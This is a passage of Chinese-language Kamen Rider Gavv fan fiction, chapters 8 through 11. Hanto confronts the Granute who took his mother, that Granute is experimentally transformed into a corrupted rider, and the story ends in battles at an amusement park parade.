那是绊斗此生从未见过的景象,熟悉的人捧着由人类血肉铸就的食物,眼神中透露着痴迷的,彻底失去自我后的丑陋与疯狂。空气中那股奇怪的味道愈发浓郁,不受控制地从绊斗的鼻腔钻入气管与食管,一路延伸往下进入胃袋,又化为更为细小的蠕虫细细密密地钻入血液与细胞,散发出令人作呕的腐烂味道。
胃里一瞬间变得翻江倒海,喉结滚动了片刻,绊斗再也抑制不住,捂着嘴巴干呕出声。
“他听不到你的声音的,他正在享受原本他此生绝不可能尝到的美味。”尼耶鲁布轻柔抚上鬣狗砂糖人的脑袋,礼貌询问道:“现在我能将他带走了吗?”
周围逐渐升腾起黑沉沉的雾气,两个砂糖人的身影笼罩在浓郁雾气之下,变得隐隐绰绰,不再真实。
“你们还会再见的。”尼耶鲁布的声音从远方飘来,“下一次,希望能给我带来更有趣的实验结果。”
绊斗依旧跪坐在原地,如同一尊没有生机的蜡像。
8. 命运的引线(1)
“绊斗!”
大门被匆忙推开,生真环视一圈,柴崎导演不在,绊斗也不在,几张椅子凌乱地横在过道里,空气中似乎还带着丝浅浅凉意。手机掉落在地上,他捡起来,锁屏上显示着几通未接来电。
绊斗把手机也丢了。
拉齐亚退回门外,眼角余光捕捉到不远处的一堆焦黑碎石,一颗心再次提了起来。幸果说没有打通绊斗的电话之后,他们三人就抓紧时间赶了回来,但显然晚了一步,他们果然是中计了!
“格罗塔恐怕只是诱饵,那个砂糖人才是他们的目标!”
“绊迪会不会有事!”
“最好祈祷他没被斯托马克带走。”拉齐亚做出了最坏的打算,“社长你先带生真回欢乐游行,绊斗有可能去那里你们要在那边守着,我出去找,一定把他带回来!”
话音未落,屋内便冲出一道糖果色的身影,拉齐亚一把拦住生真,怀里的人奋力挣扎了起来。
“生真,你先回去!”
“尼耶鲁布来过,这种味道我闻得出来!”生真抬起头,漆黑圆润的瞳孔里不知何时已闪出水光,“他上次也是这样不声不响地消失!再见他的时候他几乎被酸贺的饱藏折磨得失去了意识,酸贺甚至利用盐谷先生,利用我让绊斗一步步落入陷阱,就为了什么莫名其妙的实验数据!而尼耶鲁布只会比酸贺更没有人性!”
当初绊斗把自己藏进盐谷先生的工作室,仿佛没有痛觉一般一下又一下猛烈撞击墙壁,声嘶力竭地哭喊着“如果死掉的是我就好了”,这样的场景一想起来就让生真止不住地手脚发麻,如果当时自己没有及时赶到,绊斗恐怕会做出更可怕的事情,而这一切都是因为酸贺的实验!
“绊斗如果再出什么意外,我一定亲手杀了尼耶鲁布!”
“你冷静一点!”拉齐亚从没见过生真现在这副几乎失去理智的凶狠模样,与平日乖巧活跃的样子大相径庭,“你为什么总是这样?!一遇到绊斗的事情就好像变了个人!”
生真甩开紧紧抓着自己的双手,抬头凝视着拉齐亚,眼底是对方看不明的情愫。
“在我被人类当成怪物的时候,他是第一个站出来维护我,把我称作假面骑士的人类。”
明明我自己都觉得自己是个怪物。
捏紧的五指泄气般地松开,眼前的半砂糖人用力抹了下眼角,朝社长鞠了个躬便消失在了拐角处。拉齐亚第一次觉得自己似乎从未真正认识井上生真,这颗被隐藏在糖衣之下腐败糜烂的心脏,迟早会让他落入万丈深渊。
“没劲。”
又来到这里了。
绊斗推开熟悉的大门,入眼是堆满文书的办公桌,许久没有人动它们,已落了薄薄一层灰。
他扯了下嘴角,缓缓踏进这间空无一人的工作室。只是不想待在那个地方,却不知不觉间又回到了这里,也不知道是不是因为之前太过依赖师傅,总觉得来到这里就能得到想要的答案。
空气中弥漫着一股霉味,他呼出一口气,打开了窗子。
“作为新闻工作者,哪怕不赚钱,有些事也必须让大众知道。”清风吹动桌面的文件,纸张翻阅的声音中,他仿佛又回到了与师傅一同加班加点埋头苦干的日子。
他追寻着砂糖人的真相,和酸贺研造接触后近乎狂喜地和师傅分享好消息,他却板起面孔,严厉地警告了自己:“我一点也不希望你去做危险的事!”
但是,他最终还是踏上了一条不归路。
师傅被砂糖人杀掉的第二天晚上,他揣着他断掉的残骸,接受了酸贺研造的实验要求。砂糖人的器官在身体里极富存在感地跳动着,他拥有了保护母亲与师傅的力量,可他们却在他拥有这份力量之前便舍他而去了。
黑暗零食,酸贺研造,尼耶鲁布......还有那只自己苦苦寻找了十几年的鬣狗砂糖人——抓走母亲的凶手!
如今,母亲失踪那年自己一笔一笔描绘出凶手模样的蜡笔画正成为现实,活生生站在了自己眼前,诉说着自己的热爱,与对斯托马克的愤怒。
“我到底该怎么办呢,师傅......”他捧着蜡笔画,将自己摔进沙发里,周围扬起一阵清浅的尘土味,他知道如今即使来到这里,也不会再有人解决自己的问题。
时钟的指针“滴答滴答”的旋转中,一阵窸窸窣窣的脚步声混在其中由远及近,绊斗眨了眨眼,认出来那是饱藏的声音,逐渐沉寂的心在活跃的生命力中刚冒了头,复又自暴自弃地埋低脑袋。
明明现在生真的状态也很糟糕......格罗塔不是好对付的家伙。
“你们别去了,我没事。”他顿了顿,又轻声道:“不会再像上次那样了。”
闷闷的声音回荡在空无一人的工作室内,仿佛在说给自己听。
外面一阵急促的脚步声,绊斗茫然坐起身,刚一抬头便落入了宽大的怀抱里,鲜艳的冲锋衣上传来浓烈的硝烟味与血腥味,尚未唤起他不适的回忆,属于半砂糖人的葡萄软糖的清香便丝丝缕缕缠绕上鼻尖,这是鲜活的,甜蜜的,幸福的味道。
温暖的体温逐渐攀上脸颊,绊斗下意识环住对方贪婪地吸食这股气味,藏在厚实衣物底下的心跳剧烈而混乱,明明对面的人那么慌张,自己的心却在这吵闹的声音里逐渐安定下来。
或许自己下意识来到这里,不仅因为有师傅的指引,而是知道即使没有饱藏,生真也一定会找到自己。
生真不会离开,自己也绝不会被独自留下。
“生真。”
“嗯,我在。”
“我找到抓走我妈妈的砂糖人了。”
双臂渐渐松开,眼前的人蹲下身小心翼翼望向自己,声音略带着沙哑:“尼耶鲁布告诉你的?”
“嗯,是柴崎导演。他被黑暗零食诱惑现出了真身,尼耶鲁布把他带走了。”绊斗喉结滚动了一下,后续的话语变得滞涩,“下次见面,恐怕就是敌人了。”
“绊斗会为妈妈报仇吗?”
绊斗低头看向蜡笔画,捏着画纸的指尖几近颤抖。“......会。”
生真顺着他的视线望过去,他知道那是这十几年来他坚持至今的唯一支柱,为此甚至付出了一切。
但现在他却对支撑了他这么多年的事情产生了犹豫。
“你和柴崎先生之间是发生什么事了吗?”
“那个砂糖人.......他也憎恨着斯托马克,也憎恨着黑暗零食。他说正因为成为了临时工,他才被迫在人类世界待了十几年,再也见不到家人。他羡慕科梅尔能够抵御黑暗零食的诱惑,说自己一定做不到。”
“他当然做不到!”绊斗的声音突然急促了起来,瞳孔微张,似乎看到了极其恐怖的东西。“我今天见到了,亲眼看见他从一个有思想有感情的普通人一下子变成了黑暗零食的傀儡,连死亡的威胁都可以被忽视!它的诱惑确实很大,这根本不是靠意志力就能拒绝的,一旦沾染上,必然会落入万劫不复的境地!”
“你想过要拯救他是吗?就像科梅尔那样?”生真紧紧握住绊斗的手扯开了话题,掌心下的皮肤触感冰凉,冒着细密的冷汗,他知道任谁亲眼看见那种场景都会受到巨大冲击,更何况是知道黑暗零食真面目的人类。
绊斗抬眼望向生真,对面的人正睁着乌黑圆亮的大眼睛一眨不眨地盯着自己,见自己望了过来,便浅浅带上几分笑意,那双本就纯净剔透的瞳孔一下子就融入了糖浆里。手上传来真实的温度,绊斗轻呼出一口气,声音不再颤抖。
“想过。昨晚他哀求了我很多遍,说花车游行的工作还没完成,需要他回去坐镇,等游行结束了再任我们处置,我差点就同意了。”
生真浅笑一声,眉眼弯得更甚,倒是让绊斗带上了一分疑惑。
“你笑什么?”
生真捧起绊斗的脸颊,眼角弯弯,笑得温柔,“绊斗还记得之前那个螃蟹临时工吗?那个时候也是这样,我觉得他会放弃黑暗零食,而你说我太过天真,我们还吵了一架。”
“我当然记得,圣诞节前夕,我假装被他抓住想要潜入斯托马克给你证明他们都是坏人,而你也假装被抓住就为了救我出来,那个可怜的临时工被我们耍得团团转。”绊斗说着说着就笑了出来,那是他第一次对生真放下怀疑,第一次真切认为生真是个值得信任,值得托付的朋友。
虽然后面发生了很多事,有矛盾,有误会,有争执,但他觉得与井上生真相遇几乎花光了他这辈子所有的运气。
而这段时间自己对砂糖人态度的改变,很难说是因为拉齐亚和科梅尔这两个活生生的例子,还是因为眼前这位过于单纯的半砂糖人潜移默化的影响。
见绊斗心情好转,生真站起身看向墙上绊斗与盐谷先生的合影,脸上的笑容淡了下去,“虽然当时被临时工骗了,但其实那个时候我就在思考这个问题。如果真的有愿意放弃黑暗零食,真心悔过,却靠自己无法做到的临时工,我是否应该提供帮助。”
“我到现在依然不知道怎么做,因为他们抓走了无辜的人类是事实,被他们抓走的人类没有原谅,他们的亲属与朋友也没有原谅。他们与单纯被黑暗零食诱惑的砂糖人不同,他们是斯托马克公司的爪牙,是真正实施罪行的那群人,即使真的有苦衷,也不
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应该是我们这些局外人来做决断。”
“现在,我成为了这个亲属。”绊斗轻叹一口气,犹豫着问道:“如果是你,你会怎么做?”
生真摇了摇头,“如果我说了自己的想法,一定也会影响到绊斗的判断的吧,所以无论绊斗最后做出什么样的决断,我都会支持你。”
“但是......”他顿了顿,回过身看向沙发上的好友,正色道:“如果他无法拒绝诱惑就必须受到惩罚,否则只会有更多无辜的人类受到伤害,我相信你明白这一点。”
“不过既然他被尼耶鲁布带走成为了实验道具,那最后的结果......”两人对视了一眼,皆变得忧心忡忡。尼耶鲁布绝不是酸贺研造这个人类科学家可以比拟的,他才是真正将生命视为草芥的恶魔。
“如果真的走到那一步,就由我亲手打败他!”
暮色浓郁的长廊深处是一间常年被上锁的房间,这里位于整个斯托马克城堡最人迹罕至的角落,布什·斯托马克还活着的时候,甚至连高层的特工和眷属都不被允许踏入,而半年前的那场政变,被关押于此的那对母子死的死,逃的逃,最终被最新的当权人兰戈·斯托马克全权接管。
眷属越过兰戈输入密码,沉重的大门随之打开,隔开两张铁艺雕花床,对面小小的窗户外是砂糖人世界一如既往暗沉沉的铁锈色天空。
踏入这间屋子,皮鞋先一步踩上了一张蜡笔画。兰戈弯腰拾起纸张,画纸上是线条简单但色彩丰富的草莓奶油蛋糕,人类的食物,是那个女人握着年纪尚小的红腹口的手一笔一划描绘出来的,只是色彩太过艳丽,即使过了十多年依然那么刺眼。
不过如今这张蜡笔画上横亘了数道可怖的刀痕,鲜艳的笔迹被抹得乱七八糟,而这间屋子的地面和桌面上散落了数张同样遭此破坏的蜡笔画,几乎将藏在房间里属于那对母子存在的证明全部翻找了出来。兰戈皱了皱眉,扔掉手中残破的事物,对眷属吩咐道:“找人收拾干净。”
他转头看向匍匐在角落拿着刻刀一遍遍切割蜡笔画并乐此不疲的弟弟道:“格罗塔死了,你是选择继续在这里面壁思过,还是去接替她的位置。”
握着刻刀的手顿了顿,而后对方头也不回地在纸上继续细致切割。
“谁干的?这么有本事,能杀得掉格罗塔姐姐。”
“红腹口和海月9。”
“哈哈......哈哈哈哈哈哈哈哈哈!”吉普捏紧刻刀,手上的动作突然变得癫狂,锋利的刀片插入木质地板,接连不断的闷响中,地板被划出数道深深的裂痕,覆于其上的纸张瞬间变成一滩烂泥。
甩掉再也下不了一刀的纸张,吉普踉跄着站起身,黑白色的裙摆上四处沾染了灰尘与纸屑,显得狼狈不堪。
“我怎么接替得了姐姐的位置,在你眼里,我这种什么都做不了的人不是只配被送去联姻吗,兰戈哥哥?”
他一步步走向兰戈,花边小皮鞋踏在木质地板上,在空旷的房间内发出悦耳的声音:“既然红腹口那么厉害,你不如把他接回来好好培养?说不定比姐姐还强哦~”
“尼耶鲁布已经找到第一个实验品,改造大概已经成功了。”兰戈无视了吉普的挑衅,拉了张椅子坐下,居高临下道:“如果你想要替西塔报仇,亲手干掉红腹口,不如收起现在这幅辱没斯托马克脸面的样子,亲自去见见尼耶鲁布。如果你打定主意想要与我作对,我也不介意替家族清理门户。”
“你!”
“如果不是格罗塔的眷属把你带回来,你是打算在人类世界躲藏一辈子吗?堂堂斯托马克家的孩子居然打不过一个人类混血的杂种,还放任他一步步成长至此,说到底,西塔被红腹口杀死不是因为你们太弱了吗?”
“要不要给你看看以前的业绩和现在的业绩?就算有红腹口那群人捣乱,原料的数量与品质依然在稳步提升。”
“更何况,有心情把红腹口的东西全都翻找出来大肆破坏,却没本事想办法对付他,难道斯托马克家的孩子是这么无能的人吗?”
兰戈站起身缓缓踏至吉普面前,高大挺拔的身躯遮住窗外的光亮,隐藏于铁锈色中的面容变得愈发凌厉,“你现在这幅样子,对得起舍命救你的姐姐吗?”
门外传来匆匆的脚步声,是兰戈的眷属。
“兰戈大人,玛根先生来访。”
深深看了弟弟一眼,兰戈面无表情地收回视线转身离开。
大门再次被眷属关上,却没有落锁,只要里面的人想,随时都可以离开。黑压压的小屋内传来低沉的怒吼与重物落地的声音,在整个寂静空旷的长廊中阵阵回荡。
9. 命运的引线(2)
再次来到游乐园的门口,热闹的气氛比上一次来更甚。今天是游乐园开园五十周年,盛大的花车游行项目早在一周前就已宣传开来,即使前段时间园内发生了一场离奇的大爆炸也依然不减游客热情,而幸果早早就被她的好闺蜜小律预定了今日的行程。
闻着空气中传来的香甜与炽热,生真少见地带上了担忧的神色。
柴崎导演失踪,留下这么大一个盛会,空气中的幸福度浓郁到生真几乎能闻到那股类似黑暗零食的奇妙味道。这很容易招来更多的临时工,甚至可能会出现高层的特工,绝不是他们想看见的。
“很危险。”
“怎么了?”
“拉齐亚说的没错,没有柴崎导演坐镇,这里就是一个天然的狩猎场,幸好临时工的行动大多都是秘密进行,否则这里被一网打尽都有可能。”
葡萄软糖饱藏蹦上了生真的肩头,安慰似的轻轻蹭了蹭他的脸颊。为了保护小律和幸果,拉齐亚与生真决定兵分两路,生真跟着绊斗警惕尼耶鲁布再次行动,而拉齐亚则负责可能出现的临时工。
“希望他们那里一切顺利。”
握紧背包,属于驱动器的金属质感让绊斗轻呼出一口气,如果柴崎导演已被送回人类世界,他很可能会来到这里,亲眼见证这场等待了整整一年的盛大游行,而他会在这里与这个砂糖人做彻底的了结。
“我们进去吧。”
园内的部分主路已架上警戒线,沿着警戒线一路过去挂满了色彩缤纷的气球,更多的彩球与装饰遍布于整个游乐园内,将这里装点得欢乐而童趣。
落日的金光更甚,昭示盛大的庆典即将到来。随着广播的提示,整个园内的游客带着灿烂的笑容与期待从四面八方往主干道汇拢,浓郁的气味让生真耸了耸鼻子,庆典的气氛正快速推向今日的最高潮。
“唧唧!唧唧!”
不远处,汽水糖饱藏一步一晃地躲过游客们杂乱的脚步,挥舞着双手慌慌张张朝生真这边奔来,他眼前一亮,蹲下身接住被吓得几乎快要哭出来的小家伙。
“找到了?”
小饱藏随即手舞足蹈地发出一连串稀奇古怪的不知名音节,夹杂着委屈的撒娇声,听得绊斗一头雾水。
“怎么说?”
生真轻声安抚了饱藏几句,而后将其捧在手心,快速站起身拉着绊斗离开了游人交织的警戒线附近。
“尼耶鲁布和临时工尚未出现,大概要等游行正式开始才会行动,不过不用担心,园内负责侦查的饱藏数量够多,有消息会立刻通知我和拉齐亚。至于柴崎导演已经找到了,跟我来吧。”
片刻,两人来到花车游行的起始点,大门尚未打开,而游客的数量却不减反增,多是在这里提前蹲点的狂热粉丝。
躲进大门侧边的阴影处,两个人在饱藏的指引下摸到了人迹罕至的建筑背后。借助墙壁用力一蹬,两人小心翼翼翻身跃入墙内,一座座巨大的花车映入眼帘,那是几天前他们五个亲手制作的道具。
虽然两个砂糖人一个笨手笨脚,一个慵懒懈怠,但由于柴崎导演亲手绘制的图纸足够清晰,倒是让两位人类指导的时候省了很多事。只是他的要求过于严苛,最终还是免不了重做了好些部分。
如今NPC们已站上花车的平台进行最后的调整,这些耗费了数人心血的道具马上就会在上万的游客面前正式亮相。
收回目光,绊斗望向不远处落单的背影,那个人正躲藏在角落里,怔怔看着前方的热闹非凡。
明明是亲自准备了一整年的盛会,如今却只能以旁观者的姿态藏在角落偷偷观望。
不自觉捏紧的拳头被轻轻握住,绊斗回头,生真对他露出了让人安心的笑容。腰间传来一股不算强硬的力道,绊斗顺势往前踏出几步,清浅的脚步声让前方的砂糖人一下脱出梦境。
他缓缓回头,当见到来人的那一刻,眼神中却流露出让绊斗完全不能理解的情绪。
既不是对生的欲望,也不是对死的恐惧,而是对现状无力回天的愤怒与绝望。
“你为什么要来!”他站在几步开外,压着嗓音质问道。
“我有话想问你。十五年前的九月一号,五道天桥上,是你抓走了我的妈妈吗?”
“我不知道。”他顿了顿,解释道:“这十几年里我抓了太多的人,我不记得了,但如果你说是,就是吧。”
他向后退了一步,直勾勾盯着绊斗道:“你是来找我报仇的吗?”
绊斗没有回答他的问题,自顾自地继续提问:“尼耶鲁布对你做了什么?他在做什么实验,目的又是什么?”
“我......我不知道!你不要问了!”他下意识地张望了一圈,又瞬间敛住神情,仿佛刚才的慌乱只是错觉。
看来尼耶鲁布确实就在附近。生真暗中张开五指,葡萄软糖会意,咕噜一下从肩头滚入掌心。
“最后一个问题。怎么选,是放弃黑暗零食,还是在这里被我打倒?”
而后便是长久的沉默,久到绊斗几乎失去耐心,想彻底为砂糖人打上死亡的烙印。
“太迟了。”他缓缓弯下腰,摇了摇头。
什么意思?绊斗皱了皱眉,内心升起不好的预感。
对面的人犹豫着将手伸向衣摆,捏着布料的手指轻轻颤抖,“如果当时你能保护住我,我一定回答愿意,但是现在,彻底来不及了。”
砂糖人的腹口从衣摆的遮掩下缓缓显露,然而本该长相丑陋,尖嘴獠牙的巨大腹口却变成了软糖质感的黑紫色,小小一个贴于原本的腹口位置,成为了砂糖人浑身上下最不和谐的地方,显得荒诞又滑稽。
但在场没有人笑得出来。
黑腹口!
那是当初酸贺利用生真的基因样本克隆出的冒牌生真腹部长出的黑腹口!
酸贺失踪后丢失的实验资料果然是被尼耶鲁布取走了,如今甚至还完成了改良,将黑腹口完全复刻在了真正的砂糖人身上!
“绊斗!不要犹豫,危险!”
对方已然握上人工腹口的把手,轻轻施加力道,Q弹软糯的腹口便自行运转起来,剧烈的电流瞬间流窜至全身,闪出明亮发白的电光。
柴崎导演发出嘶哑的痛呼,在奇异力量的影响之下,脸上的皮肤长出根根肉
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芽,砂糖人坚实的肌肉几乎化为果冻般的流体,不间断地蠕动收缩重组,仿佛有了自己的思想。
人皮小偶被包裹入体,人类的躯壳融化瓦解,虚假的皮肤层层剥落,然而内部露出的却不是属于砂糖人黑褐色的石骨,而是黑白相间如同巧克力曲奇的骑士铠甲。
怎么会?绊斗瞪大了双眼,几乎无法相信眼前的一幕。没有饱藏的力量,也没有烘焙马格南,纯靠一张仿造的低劣腹口怎么可能让砂糖人变身为假面骑士焙克?
假面骑士焙克?不,不完全相同,生真嗅了嗅鼻子,空气中明明藏了一丝腐烂的味道!
这绝不是酸贺研造的焙克!
生真顿时警铃大作,小跑几步想上前协助,附近却突然冒出三个黑衣黑帽黑面具的人拦住了他的去路!
吉普的特工!
大门口的广播突然发出巨大的声音,高昂绵长的汽笛声从巡游的起始点向外扩散,响彻于整个游乐园,这是花车游行开演的信号。
拉齐亚托着刚刚跑来报信的饱藏,给身边的幸果使了个眼色,随即压住头上的礼帽隐入了人群中。
虽然生真的饱藏说的话他一句也听不懂,但长久的战斗早已形成默契,不用说一句话,饱藏自然就会引领他去该去的地方。
鸣笛声渐弱,大门在激昂的音乐中缓缓打开,成群的开场舞舞团踏着鼓点向人群进发。
三个特工环环围住井上生真,将两人隔绝在了两处。
“谁派你们来的,尼耶鲁布还是吉普?”
话音未落,覆在特工脸上的漆黑色金属面甲便亮起危险的红光,右后方一阵强风袭来,生真偏头躲过一拳,对方便化拳为爪猛地掐住肩窝,生真一下被压弯了身体。大臂刚被另一只手钳制住,前方的特工立刻大跨一步挥出拳头,企图趁机攻击腹口。
生真顺势抓住后方特工的前臂借了个力,双腿用力一蹬将自己整个腾空,一脚踢飞袭来的特工,腰部用力一扭,借助惯性将钳制住自己的特工一下掀翻在地。
身后传来激光枪充能的声音,生真果断放弃身下的猎物,刚往旁边翻滚一圈,灼热的激光束便擦过脸颊在地面上留下深深的孔洞。
连续发射几枪,生真迅速护住脑袋翻身靠近持枪的对手,单手往地上一撑,旋身横扫将特工猛地踢翻在地,激光枪脱手在地上划出一段距离,眼看要落入另一个特工的手里,生真借力临空翻滚一拳砸上武器,激光枪连带着下方的水泥地瞬间四分五裂,发出了滋滋的电流声。
翻滚后撤几步脱离三个特工的包围圈,葡萄软糖饱藏已被腰部的红色腹口卷上舌尖。
这几个特工摆明了是来阻止自己搅入绊斗与焙克的战局的,无论问什么都不会回答,那么,就只能送它们上路了!
生真甩了下沾染碎石的手掌,缓缓站起身,纯净柔润的瞳孔亮起深紫色的光芒,如同盯上猎物的野兽。
“变身!”
“变身!”
十几米开外,巧克力冰沙饱藏同时插入布拉姆驱动器,人造器械发出运行的声音,冰凉的气息瞬间爆散开来,冰沙骑士于雪白的冰晶之中缓缓现身。
10. 焰火的尽头(1)
对面发出一阵不似砂糖人的凄厉怒吼,猛地朝绊斗冲过来。
一掌接住对面的拳头,远超预计的巨大力量瞬间麻痹了半个身体,绊斗被迫后退了好几步,捂着手臂暗道不好。
上次焙克是他亲手打败的,装甲是什么样的实力他清楚得很,眼前这个焙克的力量与酸贺使用的完全是天壤之别!
然而对面似乎并不打算给绊斗思考的机会,大臂一挥再次抡上来,绊斗紧急侧身闪躲,贴着焙克的身躯绕至背后,裹着冰霜的拳头砸上对方的后肩。冰层炸开爆出一层冰晶,一接触到焙克的装甲便如同活物一般快速生长。
低温能够抑制对手的局部活动能力,这是很不错的限制对手行动力的方式。然而对方仿佛没有知觉一般丝毫不受影响,以一种常人难以理解的角度扭过半边身体再次挥出拳头。距离太近,眼见着躲不开,绊斗立刻抬臂格挡,下一秒巨大的冲击力就猛得袭上前胸,眼前花白了一瞬,等再次睁开眼睛,自己竟撞上几米开外的墙壁,砖石轰然倒塌,露出墙后更为幽静的小树林。
“绊斗!”
生真眼中闪过一丝狠厉,朝背后锁住自己的特工狠狠一击摆脱束缚,紧接着转身飞踢,“咔”得一声,对方的脖子折出可怕的角度,机械人造物瞬时砸入远处的杂物堆,爆出呲呲电流,抽搐了几下后终于不再动弹。红色腹口光芒闪烁,咬咬剑猝然弹出击飞另一个特工,在空中旋转了几圈后回到生真手中。
“我没事!”
喉间涌上一股腥甜,绊斗轻轻喘息了几下看向远处的大门,还未有人注意到这里,大部队已经离开,更为热烈的音乐声与欢呼声成为了掩盖战斗的最佳工具。
收回目光,焙克扭了扭右肩,其上的冰晶正以肉眼可见的速度快速融化。他的脑袋几乎被折成了90°,以一种扭曲的姿势一步步朝自己走来,哪怕是刚出生不久的苦涩加布也不曾如此诡异,这根本不像一个活着的生物!
然而对方却以柴崎导演的语气发出了稚嫩的,如同婴幼儿哭闹的声音。
“当初我为了躲避格罗塔大人的追杀,特意把你们引来,目的就是保护我!为什么你们这么没用,最后还是让我落入了斯托马克的手里!”
他一步步往前踏进,声音逐渐变得尖锐。
“你们不是假面骑士吗?!不是要保护所有人的吗?!我想活下去!我那么努力求生!为什么最后还是落到现在这个地步!为什么你们所有人都想我死!”
“你疯了?!不管是以前还是现在,黑暗零食不都是你自己吃下去的吗?!抵挡不了诱惑怪得了谁!”
绊斗的怒意被一下点燃,不论面前的到底是人是鬼,这幅强词夺理的言论都让他升起一种可笑的荒诞感。
“我疯了?哈哈哈哈哈哈哈哈哈哈哈哈我是疯了!你不是想找我报仇吗?来啊!”
一股巨力袭来,绊斗眼前一花,脖颈被坚硬的装甲掐住,一路生拉硬拽拖往身后的小树林。背部尖锐的疼痛刺入神经,他发了狠,使尽全力抬脚一踹,焙克终于吃痛收了手,软糖质感的腹口被踢变了形,又一下子回弹复原,看不到一点损伤。
绊斗捂着脖子轻咳几声,眼前一亮。虽然这张黑腹口看起来很难被破坏,但很显然它就是眼前这个怪物的核心与弱点!
如果能将腹口与砂糖人剥离的话......
远处几个白巧饱藏驮着瓦伦破坏枪缓缓靠近,绊斗翻滚起身一把抄起武器,如果对方铁了心要杀自己,他也绝不手软!
穿行于吵嚷的人群身后,身披人皮的临时工提着今日的收获乐开了花,如此高质量的原料本是难得一见,今天却变得唾手可得,即使只能暗中抓捕不多的数量,兑换成黑暗零食也能吃上很久。
“找到你了。”
背后突然响起冷峻的嗓音,临时工疑惑转身,来人压着帽檐缓缓抬头,冰冷狠厉的眼神吓得他一哆嗦,登时惊叫出声。
“是你!海月9!”
对方抬起下巴挑了挑眉:“哦?我现在这么出名了?”
人群中出现了小小的骚乱,拉齐亚的外形在这个世界绝对算吸睛,不少人类已举起了手机,临时工左右张望了一下,心道不好。
临时工团体还需藏匿身份捕捉原料,而据内部消息,眼前这位嚣张的叛徒可完全不在乎这些,一旦打起来让人类发现了砂糖人的存在,受影响的只会是他们!
想到此处,临时工登时撒腿就跑!
尼耶鲁布大人说过今天会有吉普大人的眷属做接应,只要找到他们海月9就拿自己没办法了!
拉齐亚随意瞥了眼周围的人群,懒洋洋地勾了勾耳边银白的发丝,轻扬起嘴角。
社长特意强调今天不要影响到花车巡游,临时工主动逃跑正好方便他的行动。
火光四溢,随着最后一个人工生命体在眼前炸出机械零件,吉普的三个特工被迅速解决。
葡萄软糖装甲快速收缩崩解,吸收进生真的身体里,暴露出人类少年的模样。腹口张开吐出紫色的软糖饱藏,小家伙朝生真挥了挥手,身体渐渐淡化,化为幸福光束融入了空气中。
生真转头望向墙外的小树林,树木倒了不少,清出一片空旷的小道,夕阳的余晖洒落进小树林中,带来萧瑟的衰败之感。
不远处两个人影缠斗在一起,而绊斗明显落于下风,虽说打算让绊斗自己解决,但现在这个状况也绝不能放任他一个人面对!
然而生真刚踏出一步,就被一个高挑的身影拦住了去路。
“实验正在进行中,闲杂人等不得靠近哦~”
来人背着双手,打着领结,一副优雅奢华的贵族装扮,镜片下那双茶金色的竖瞳带着毫不掩饰的傲意。
“尼耶鲁布哥哥,你果然在这里。”生真缓缓后退一步拉开距离,神情变得愈发凝重。
“你到底在做什么实验!”
他扶了下金丝眼镜,颇为自豪地介绍道:“酸贺博士尚未完成的半成品,他把这个项目命名为救世主K,你们应该打过好几次交道的,难道不知道吗?”
见生真露出一脸疑惑的神色,他继续耐心解释:“最开始是苦涩加布,也就是克隆的你,那是最初的样本,也是救世主K最基础的框架。”
说到这里,他绕着生真上下打量了几眼,摸着下巴毫不掩饰探究的神情,如同正在观赏一件颇为满意的实验品,看得生真一阵恶寒,不着痕迹地拉开距离。
感受到对方眼中隐藏的怒意,尼耶鲁布不以为意地勾了勾唇角继续说道:“经过瓦伦与苦涩加布的战斗数据收集,以及黑巧的安全性能测试之后,就出现了第二代,也就是酸贺博士亲自测试的焙克。可惜以他人类的基因根本驾驭不了苦涩加布孕育的
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曲奇饱藏,不然也不会被瓦伦轻易打败。”
“而你今天见到的焙克,不,应该叫做救世主K,则是经过我改良的第三代样本,今天是它第一次面世,我也不知道它能达到什么样的预期。”
他苦恼地皱了皱眉,语气略微带上一丝委屈。“我暂时还不想让你和这半成品对上,瓦伦倒是很不错的人选。所以,如果你去打扰他们的战斗,我会很困扰的。”
“你拿柴崎先生做了实验?”
“嗯,没错。你不觉得他们两个很适合做测试吗?”
生真跟随尼耶鲁布的视线望向树林深处,暮色渐近,落日的余晖缓缓消散,本就照不进路灯的小树林变得更加昏暗。
连续几声沉闷的撞击声,一小片树木应声翻倒,冰沙骑士沿着树干滚落在地,扬起一片落叶。重重喘息了片刻,绊斗撑着枪柄再次起身,血液顺着皮肤流入眼眶,将视野变成了暗红色,他用力眨了眨眼睛,抬眼看向前方。
几招对下来,眼前这个焙克的攻击方式与酸贺的焙克完全不同。酸贺使用时更注重技巧,能明显感受到对方的对战思路,但柴崎的焙克却丝毫没有战斗意识。
只是由于被改造后的装甲力量过于强大,即使对方只抡拳头,吃上一击也是十分可怕的。
况且对方打了这么久似乎根本看不出疲累,而自己却疲于招架,不仅找不到机会反击,还陷入了被动里。
不论是想要拯救柴崎导演,还是想要替妈妈报仇,现在这样都是绝对不行的!
焙克再次朝自己冲过来,绊斗眼角余光瞥见刚才被撞歪的树木,提起一口气,蹬蹬几步踏上高处,瞅准时机奋力一跳,双膝压上焙克的肩膀,巨大的惯性瞬间让他跪倒在地,绊斗腰部发狠一扭,被大腿紧紧夹住的脑袋瞬间一歪,内部发出极其清晰的咔嚓声。
骨骼大概都被扭断了。
绊斗内心刚涌起一阵窃喜,右腿却突然被一只手抓住,那手指如同钢筋铁骨,一下把自己砸翻在地。
他的瞳孔陡然放大,焙克脖颈处的骨骼虽然断了,却还连着皮肉,头颅如同挂件一样吊挂着,随着对方缓缓站直,那头颅咕噜一声滚落到背后,跟着肢体的行动左摇右晃。
这个无头骑士朝绊斗走了几步,似乎觉得有些不方便,伸手勾住自己的脑袋用力一拧,咔嚓一声便将关节回归了原位,如同修复脱臼的肩膀一样简单。
“这......怎么可能!”
生真瞬间瞪大了眼睛,如此违规常理的一幕怎么可能仅靠一个腹口就实现!
难道说,是因为来自苦涩加布的细胞吗?
镜片下那双如同冷血动物的竖瞳也一下放大,瞬间少了点阴冷的气息。他勾搭上弟弟的肩膀,顺手夺走企图钻入红腹口的汽水糖饱藏,又随手丢到远处,一副懒散的样子。
“这力量真的很不错不是吗?不过它似乎会夺取或放大使用者的意志,这可不好啊~”
“你为什么要做这么危险的实验!这好像和公司的业务毫无关系吧!”生真一把揪住尼耶鲁布的衣领,巨大的力道让他不得不后退几步,撞上身后的墙壁。
他低头看向气红了脸的弟弟,嗤笑一声,将他的手扯开,慢条斯理地抚平衣领的褶皱。
“兰戈哥哥的目标,可从来不是贩卖黑暗零食哦~”他点了点太阳穴,笑得相当灿烂。
11. 焰火的尽头(2)
“你们人类就这点力量吗?”
